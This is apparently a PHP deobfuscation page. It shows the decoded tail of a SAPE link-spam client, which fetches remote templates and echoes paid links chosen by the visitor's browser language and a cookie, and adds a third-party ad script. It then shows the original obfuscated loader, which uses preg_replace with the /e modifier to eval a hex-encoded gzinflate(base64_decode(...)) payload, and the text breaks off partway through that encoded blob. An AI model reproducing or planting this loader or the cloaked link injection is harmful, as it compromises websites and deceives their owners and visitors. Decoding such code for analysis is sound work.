if (!isset($this->_data['templates'][$template_url])
or (time() - $this->_data['templates'][$template_url]['date_updated']) > $this->_data['index']['templates'][$templateId]['lifetime']) {
$this->_refresh_template($template_url, $index_file);
}
if (!isset($this->_data['templates'][$template_url])) {
if ($this->_template_error){
return $this->raise_error($this->_template_error);
}
return $this->raise_error('m8');
}
return $this->_data['templates'][$template_url]['body'];
}
function _refresh_template($template_url, $index_file){
$parseUrl = parse_url($template_url);
$download_url = '';
if ($parseUrl['path']) {
$download_url .= $parseUrl['path'];
}
if (isset($parseUrl['query'])) {
$download_url .= '?' . $parseUrl['query'];
}
$template_body = $this->fetch_remote_file($this->_real_host, $download_url, true);
if (!$this->_is_valid_template($template_body)){
return false;
}
$template_body = $this->_cut_template_links($template_body);
$this->_data['templates'][$template_url] = array( 'body' => $template_body, 'date_updated' => time());
$this->_write($index_file, serialize($this->_data['templates']));
return true;
}
function _fill_mask ($data) {
global $unnecessary;
$len = strlen($data[0]);
$mask = str_repeat($this->_mask_code, $len);
$unnecessary[$this->_mask_code][] = array(
'mask' => $mask,
'code' => $data[0],
'len' => $len
);
return $mask;
}
function _cut_unnecessary(&$contents, $code, $mask) {
global $unnecessary;
$this->_mask_code = $code;
$_unnecessary[$this->_mask_code] = array();
$contents = preg_replace_callback($mask, array($this, '_fill_mask'), $contents);
}
function _restore_unnecessary(&$contents, $code) {
global $unnecessary;
$offset = 0;
if (!empty($unnecessary[$code])) {
foreach ($unnecessary[$code] as $meta) {
$offset = strpos($contents, $meta['mask'], $offset);
$contents = substr($contents, 0, $offset)
. $meta['code'] . substr($contents, $offset + $meta['len']);
}
}
}
function _cut_template_links($template_body) {
if(function_exists('mb_internal_encoding') && strlen($this->_charset) > 0) {
mb_internal_encoding($this->_charset);
}
$link_pattern = '~(\<a [^\>]*?href[^\>]*?\=["\']{0,1}http[^\>]*?\>.*?\</a[^\>]*?\>|\<a [^\>]*?href[^\>]*?\=["\']{0,1}http[^\>]*?\>|\<area [^\>]*?href[^\>]*?\=["\']{0,1}http[^\>]*?\>)~si';
$link_subpattern = '~\<a |\<area ~si';
$rel_pattern = '~[\s]{1}rel\=["\']{1}[^ "\'\>]*?["\']{1}| rel\=[^ "\'\>]*?[\s]{1}~si';
$href_pattern = '~[\s]{1}href\=["\']{0,1}(http[^ "\'\>]*)?["\']{0,1} {0,1}~si';
$allowed_domains = $this->_data['index']['ext_links_allowed'];
$allowed_domains[] = $this -> _host;
$allowed_domains[] = 'www.' . $this -> _host;
$this->_cut_unnecessary($template_body, 'C', '|<!--(.*?)-->|smi');
$this->_cut_unnecessary($template_body, 'S', '|<script[^>]*>.*?</script>|si');
$this->_cut_unnecessary($template_body, 'N', '|<noindex[^>]*>.*?</noindex>|si');
$slices = preg_split($link_pattern, $template_body, -1, PREG_SPLIT_DELIM_CAPTURE );
if(is_array($slices)) {
foreach ($slices as $id => $link) {
if ($id % 2 == 0) {
continue;
}
if (preg_match($href_pattern, $link, $urls)) {
$parsed_url = @parse_url($urls[1]);
$host = isset($parsed_url['host'])?$parsed_url['host']:false;
if (!in_array($host, $allowed_domains) || !$host){
$slices[$id] = '<noindex>' . $slices[$id] . '</noindex>';
}
}
}
$template_body = implode('', $slices);
}
$this->_restore_unnecessary($template_body, 'N');
$slices = preg_split($link_pattern, $template_body, -1, PREG_SPLIT_DELIM_CAPTURE );
if(is_array($slices)) {
foreach ($slices as $id => $link) {
if ($id % 2 == 0) {
continue;
}
if (preg_match($href_pattern, $link, $urls)) {
$parsed_url = @parse_url($urls[1]);
$host = isset($parsed_url['host'])?$parsed_url['host']:false;
if (!in_array($host, $allowed_domains) || !$host) {
$slices[$id] = preg_replace($rel_pattern, '', $link);
$slices[$id] = preg_replace($link_subpattern, '$0rel="nofollow" ', $slices[$id]);
}
}
}
$template_body = implode('', $slices);
}
$this->_restore_unnecessary($template_body, 'S');
$this->_restore_unnecessary($template_body, 'C');
return $template_body;
}
function _is_valid_template($template_body){
foreach ($this->_data['index']['template_required_fields'] as $field){
if (strpos($template_body, '{' . $field . '}') === false){
$this->_template_error = 'n8 ' . $field . '.';
return false;
}
}
return true;
}
function _return_html($html){
if ($this->_headers_enabled){
header('HTTP/1.x 200 OK');
if (!empty($this->_charset)){
header('Content-Type: text/html; charset=' . $this->_charset);
}
}
return $html;
}
function _return_not_found(){
header('HTTP/1.x 404 Not Found');
}
function _get_dispenser_path(){
switch ($this->_request_mode){
case 'index':
return '/?user=' . _SAPE_USER . '&host=' .
$this->_host . '&rtype=' . $this->_request_mode;
break;
case 'article':
return '/?user=' . _SAPE_USER . '&host=' .
$this->_host . '&rtype=' . $this->_request_mode . '&artid=' . $this->_article_id;
break;
case 'image':
return $this->image_url;
break;
}
}
function _set_request_mode($mode){
$this->_request_mode = $mode;
}
function _get_db_file(){
if ($this->_multi_site){
return dirname(__FILE__) . '/' . $this->_host . '.' . $this->_save_file_name;
}
else{
return dirname(__FILE__) . '/' . $this->_save_file_name;
}
}
function set_data($data){
$this->_data[$this->_request_mode] = $data;
}
}
$sape = new SAPE_client();
if (substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "ru" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "uk" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "kk" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "be"){
echo'<div class="warper">';
echo $sape->return_links();
echo'</div>';
}
elseif (substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "de" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "fr" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "zh" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "bg" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "da" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "it" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "es" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "cs" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "pt" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "sr" OR substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0,2) == "en") {
echo'<div class="warpper">';
echo $sape->return_links();
echo'</div>';
}
elseif (!isset($_COOKIE['__utmr_cache']))
{
echo'<div class="warper">';
echo $sape->return_links();
echo'</div>';
}
else
{
echo'<div class="warpper">';
echo $sape->return_links();
echo'</div>';
}
?>
<script type="text/javascript">
<!--
var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="//www2.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})()
//-->
</script>
Did this file decode correctly?
Original Code
<?php
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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